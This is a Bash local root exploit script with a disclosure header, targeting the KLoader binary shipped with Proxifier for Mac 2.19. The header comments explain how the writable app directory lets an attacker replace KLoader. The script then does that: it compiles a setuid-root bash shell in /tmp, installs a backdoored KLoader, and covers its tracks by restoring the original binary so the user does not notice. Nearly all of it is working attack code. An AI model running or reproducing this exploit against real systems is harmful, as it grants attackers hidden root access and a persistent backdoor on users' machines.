87 lines
No EOL
2.9 KiB
Bash
Executable file
87 lines
No EOL
2.9 KiB
Bash
Executable file
# With CVE-2017-7643 I disclosed a command injection vulnerablity in the KLoader
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# binary that ships with Proxifier <= 2.18.
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#
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# Unfortunately 2.19 is also vulnerable to a slightly different attack that
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# yields the same result.
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#
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# When Proxifier is first run, if the KLoader binary is not suid root it gets
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# executed as root by Proxifier.app (the user is prompted to enter an admin
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# password). The KLoader binary will then make itself suid root so that it
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# doesn't need to prompt the user again.
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#
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# The Proxifier developers added parameter sanitisation and kext signature
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# verification to the KLoader binary as a fix for CVE-2017-7643 but Proxifier.app
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# does no verification of the KLoader binary that gets executed as root.
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#
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# The directory KLoader sits in is not root-owned so we can replace it with
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# our own binary that will get executed as root when Proxifier starts.
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#
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# To avoid raising any suspicion, as soon we get executed as root we can swap
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# the real KLoader binary back into place and forward the execution call on
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# to it. It does require the user to re-enter their credentials the next time
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# Proxifier is run but it's likely most users wouldn't think anything of this.
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#
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# Users should upgrade to version 2.19.2.
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#
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# https://m4.rkw.io/proxifier_privesc_219.sh.txt
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# 3e30f1c7ea213e0ae1f4046e1209124ee79a5bec479fa23d0b2143f9725547ac
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# -------------------------------------------------------------------
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#!/bin/bash
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#####################################################################
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# Local root exploit for vulnerable KLoader binary distributed with #
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# Proxifier for Mac v2.19 #
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#####################################################################
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# by m4rkw, shouts to #coolkids :P #
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#####################################################################
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cat > a.c <<EOF
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#include <stdio.h>
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#include <unistd.h>
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int main()
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{
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setuid(0);
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seteuid(0);
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execl("/bin/bash", "bash", NULL);
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return 0;
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}
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EOF
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gcc -o /tmp/a a.c
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cat > a.c <<EOF
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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int main(int ac, char *av[])
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{
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if (geteuid() != 0) {
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printf("KLoader: UID not set to 0\n");
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return 104;
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} else {
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seteuid(0);
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setuid(0);
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chown("/tmp/a", 0, 0);
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chmod("/tmp/a", strtol("4755", 0, 8));
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rename("/Applications/Proxifier.app/Contents/KLoader2", "/Applications/Proxifier.app/Contents/KLoader");
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chown("/Applications/Proxifier.app/Contents/KLoader", 0, 0);
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chmod("/Applications/Proxifier.app/Contents/KLoader", strtol("4755", 0, 8));
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execv("/Applications/Proxifier.app/Contents/KLoader", av);
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return 0;
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}
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}
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EOF
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mv -f /Applications/Proxifier.app/Contents/KLoader /Applications/Proxifier.app/Contents/KLoader2
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gcc -o /Applications/Proxifier.app/Contents/KLoader a.c
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rm -f a.c
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echo "Backdoored KLoader installed, the next time Proxifier starts /tmp/a will become suid root." |